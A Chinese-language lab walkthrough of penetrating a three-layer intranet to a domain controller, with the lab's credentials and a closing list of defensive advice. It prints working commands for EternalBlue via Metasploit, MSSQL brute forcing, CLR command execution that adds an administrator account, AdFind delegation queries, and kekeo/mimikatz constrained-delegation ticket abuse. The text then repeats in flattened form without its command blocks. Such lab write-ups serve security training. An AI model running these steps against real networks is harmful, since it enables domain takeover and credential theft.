三层内网下的域渗透
字数 2710 2025-08-24 16:48:07

三层内网域渗透实战教学文档

网络拓扑与环境概述

网络结构

  • DMZ区:IP段 192.168.31.0/24(桥接模式)
    • 可连通外网
    • 靶机有两个网卡:一个对外服务,一个连接第二层网络
  • 第二层网络:IP段 10.10.20.0/24
    • 不能连通外网
    • 靶机有两个网卡:一个连接DMZ,一个连接第三层网络
  • 第三层网络:IP段 10.10.10.0/24
    • 不能连通外网
    • 靶机只有一张网卡,包含域控和域内服务器

关键主机信息

域控服务器

  • 系统:Windows Server 2008
  • 服务:IIS + Exchange 2013
  • 目录还原密码:redteam!@#45
  • 主机名:owa
  • 域管理员:administrator:Admin12345

域内服务器

  • 系统:Windows Server 2008 + SQL Server 2008
  • 主机名:sqlserver-2008
  • 本地管理员:Administrator:Admin12345
  • 域账户:redteam\sqlserver:Server12345(配置了约束委派)
  • MSSQL:sa:sa

域内个人PC

  • 系统:Windows 7
  • 主机名:work-7
  • 本地管理员:john:admin!@#45
  • 域账户:redteam\saul:admin!@#45

单机服务器

  • 系统:Windows server r2 + weblogic
  • 主机名:weblogic
  • 本地管理员:Administrator:Admin12345
  • WebLogic:weblogic:weblogic123
  • 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain

其他域用户

  • redteam\sqlserver:Server12345(约束委派)
  • redteam\mail:admin!@#45
  • redteam\adduser:Add12345
  • redteam\saulgoodman:Saul12345(非约束委派)
  • redteam\gu:Gu12345
  • redteam\apt404:Apt12345

已知漏洞

  • GPP漏洞:admin:admin!@#45
  • MS14-068
  • CVE-2020-1472
  • Exchange各种漏洞
  • 非约束委派可利用
  • 约束委派可利用
  • CVE-2019-1388
  • CVE-2019-0708

渗透测试流程

第一阶段:外网打点

  1. 信息收集

    • 使用Kscan扫描发现WebLogic服务
  2. 漏洞利用

    • 使用WebLogic GUI工具进行批量漏洞检测
    • 注入内存马
    • 使用蚁剑连接
  3. 权限获取

    • 当前权限为administrator
    • 检查杀软:tasklist查看,确认无杀软
    • 生成CS马并上线
  4. 内网发现

    • 发现目标有两个网卡,通向10.10.20.0/24
  5. 工具联动

    • 将CS联动MSF,给MSF一个Meterpreter会话
    • 在CS已获得的shell右键新增会话进行设置
    • MSF设置监听
    • 直接getsystem提权(administrator权限)

第二阶段:内网横向移动

  1. 内网扫描

    • 上传Fscan:fscan32.exe -h 10.10.20.0/24
    • 发现10.10.20.129(Windows7)存在永恒之蓝漏洞
  2. 路由设置

    • MSF添加路由通向10.10.20.0网段
  3. 漏洞利用

    • 使用exploit/windows/smb/ms17_010_eternalblue攻击
    • 设置:
      search ms17-010
      set payload windows/x64/meterpreter/bind_tcp
      set lport 7778
      set rhosts 10.10.20.129
      exploit
      
    • 第一次攻击失败(蓝屏),第二次成功
    • 发现新网段10.10.10.0/24
    • MSF继续添加路由

第三阶段:域内信息收集与域渗透

  1. 基础信息收集

    • net config Workstation:查看计算机名、全名、用户名、系统版本等
    • net user:查看本机用户列表
    • net user /domain:查看域用户
    • net localgroup administrators:查看本地管理员组
    • net view /domain:查看有几个域
    • net user 用户名 /domain:获取指定域用户信息
    • net group /domain:查看域工作组
    • net group "domain admins" /domain:查看域管理员
    • net group "domain computers" /domain:查看域中其他主机
    • net group "domain controllers" /domain:查看域控
  2. 凭据获取

    • 在Windows7加载mimikatz:creds_all列举所有凭据
    • 获得普通域用户saul的密码
  3. SQLServer攻击

    • 发现10.10.10.129是SQLServer服务器
    • 使用MSF爆破SQLServer弱口令:
      search mssql_login
      use auxiliary/scanner/mssql/mssql_login
      set RHOSTS 10.10.10.129
      set THREADS 5
      set USERNAME sa
      set PASS_FILE /root/pass.txt
      run
      
    • 获得账号sa:sa
  4. 代理设置

    • MSF设置Socks5:
      search socks
      use auxiliary/server/socks_proxy
      set SRVHOST 127.0.0.1
      set SRVPORT 1080
      
    • 配置proxychains:
      vim /etc/proxychains4.conf
      添加:socks5 127.0.0.1 1080
      
  5. SQLServer提权

    • 使用SharpSQLTools:
      proxychains python PySQLTools.py sa:'sa'@10.10.10.129
      
    • 尝试xp_cmdshell提权失败
    • 使用clr提权成功:
      enable_clr
      clr_exec {cmd}
      
    • 添加管理员用户:
      clr_exec 'net user ocean.com qwe.123 /add'
      clr_exec 'net localgroup administrators ocean.com /add'
      
    • 远程桌面连接,上传MSF正向木马上线SQLServer
  6. 委派攻击

    • 上传Adfind,查找配置了委派的主机和用户
    • 查询非约束委派主机:
      AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
      
    • 查询非约束委派用户:
      AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
      
    • 查询约束委派主机:
      AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
      
    • 查询约束委派用户:
      AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
      
  7. 域控攻击

    • 使用mimikatz获取SQLServer凭证
    • 上传kekeo,请求TGT:
      kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt
      
    • 获取域机器的ST:
      kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" > 2.txt
      
    • 使用mimikatz导入ST:
      mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
      
    • 成功拿下域控制器

关键技术与工具总结

  1. 工具列表

    • Kscan:外网扫描
    • WebLogic GUI工具:漏洞检测
    • 蚁剑:WebShell管理
    • Cobalt Strike:后渗透框架
    • Metasploit:漏洞利用框架
    • Fscan:内网扫描工具
    • mimikatz:凭据提取
    • AdFind:活动目录查询
    • kekeo:Kerberos票据操作
    • SharpSQLTools/PySQLTools:SQLServer提权工具
  2. 关键技术点

    • 多层网络穿透技术
    • 永恒之蓝漏洞利用
    • SQLServer提权技术
    • Kerberos委派攻击(约束/非约束)
    • 票据传递攻击(PTT)
    • 活动目录信息收集
  3. 防御建议

    • 及时修补已知漏洞(MS17-010等)
    • 禁用不必要的服务(如WebLogic)
    • 加强SQLServer账户安全
    • 合理配置委派权限
    • 监控Kerberos异常活动
    • 实施网络分段隔离

通过以上步骤,成功完成了从外网到内网,再到域控制器的完整渗透过程,展示了多层内网环境下的渗透测试方法和技巧。

三层内网域渗透实战教学文档 网络拓扑与环境概述 网络结构 DMZ区 :IP段 192.168.31.0/24(桥接模式) 可连通外网 靶机有两个网卡:一个对外服务,一个连接第二层网络 第二层网络 :IP段 10.10.20.0/24 不能连通外网 靶机有两个网卡:一个连接DMZ,一个连接第三层网络 第三层网络 :IP段 10.10.10.0/24 不能连通外网 靶机只有一张网卡,包含域控和域内服务器 关键主机信息 域控服务器 系统:Windows Server 2008 服务:IIS + Exchange 2013 目录还原密码:redteam !@#45 主机名:owa 域管理员:administrator:Admin12345 域内服务器 系统:Windows Server 2008 + SQL Server 2008 主机名:sqlserver-2008 本地管理员:Administrator:Admin12345 域账户:redteam\sqlserver:Server12345(配置了约束委派) MSSQL:sa:sa 域内个人PC 系统:Windows 7 主机名:work-7 本地管理员:john:admin !@#45 域账户:redteam\saul:admin !@#45 单机服务器 系统:Windows server r2 + weblogic 主机名:weblogic 本地管理员:Administrator:Admin12345 WebLogic:weblogic:weblogic123 安装目录:C:\Oracle\Middleware\Oracle_ Home\user_ projects\domains\base_ domain 其他域用户 redteam\sqlserver:Server12345(约束委派) redteam\mail:admin !@#45 redteam\adduser:Add12345 redteam\saulgoodman:Saul12345(非约束委派) redteam\gu:Gu12345 redteam\apt404:Apt12345 已知漏洞 GPP漏洞:admin:admin !@#45 MS14-068 CVE-2020-1472 Exchange各种漏洞 非约束委派可利用 约束委派可利用 CVE-2019-1388 CVE-2019-0708 渗透测试流程 第一阶段:外网打点 信息收集 使用Kscan扫描发现WebLogic服务 漏洞利用 使用WebLogic GUI工具进行批量漏洞检测 注入内存马 使用蚁剑连接 权限获取 当前权限为administrator 检查杀软:tasklist查看,确认无杀软 生成CS马并上线 内网发现 发现目标有两个网卡,通向10.10.20.0/24 工具联动 将CS联动MSF,给MSF一个Meterpreter会话 在CS已获得的shell右键新增会话进行设置 MSF设置监听 直接getsystem提权(administrator权限) 第二阶段:内网横向移动 内网扫描 上传Fscan:fscan32.exe -h 10.10.20.0/24 发现10.10.20.129(Windows7)存在永恒之蓝漏洞 路由设置 MSF添加路由通向10.10.20.0网段 漏洞利用 使用exploit/windows/smb/ms17_ 010_ eternalblue攻击 设置: 第一次攻击失败(蓝屏),第二次成功 发现新网段10.10.10.0/24 MSF继续添加路由 第三阶段:域内信息收集与域渗透 基础信息收集 net config Workstation :查看计算机名、全名、用户名、系统版本等 net user :查看本机用户列表 net user /domain :查看域用户 net localgroup administrators :查看本地管理员组 net view /domain :查看有几个域 net user 用户名 /domain :获取指定域用户信息 net group /domain :查看域工作组 net group "domain admins" /domain :查看域管理员 net group "domain computers" /domain :查看域中其他主机 net group "domain controllers" /domain :查看域控 凭据获取 在Windows7加载mimikatz: creds_all 列举所有凭据 获得普通域用户saul的密码 SQLServer攻击 发现10.10.10.129是SQLServer服务器 使用MSF爆破SQLServer弱口令: 获得账号sa:sa 代理设置 MSF设置Socks5: 配置proxychains: SQLServer提权 使用SharpSQLTools: 尝试xp_ cmdshell提权失败 使用clr提权成功: 添加管理员用户: 远程桌面连接,上传MSF正向木马上线SQLServer 委派攻击 上传Adfind,查找配置了委派的主机和用户 查询非约束委派主机: 查询非约束委派用户: 查询约束委派主机: 查询约束委派用户: 域控攻击 使用mimikatz获取SQLServer凭证 上传kekeo,请求TGT: 获取域机器的ST: 使用mimikatz导入ST: 成功拿下域控制器 关键技术与工具总结 工具列表 Kscan:外网扫描 WebLogic GUI工具:漏洞检测 蚁剑:WebShell管理 Cobalt Strike:后渗透框架 Metasploit:漏洞利用框架 Fscan:内网扫描工具 mimikatz:凭据提取 AdFind:活动目录查询 kekeo:Kerberos票据操作 SharpSQLTools/PySQLTools:SQLServer提权工具 关键技术点 多层网络穿透技术 永恒之蓝漏洞利用 SQLServer提权技术 Kerberos委派攻击(约束/非约束) 票据传递攻击(PTT) 活动目录信息收集 防御建议 及时修补已知漏洞(MS17-010等) 禁用不必要的服务(如WebLogic) 加强SQLServer账户安全 合理配置委派权限 监控Kerberos异常活动 实施网络分段隔离 通过以上步骤,成功完成了从外网到内网,再到域控制器的完整渗透过程,展示了多层内网环境下的渗透测试方法和技巧。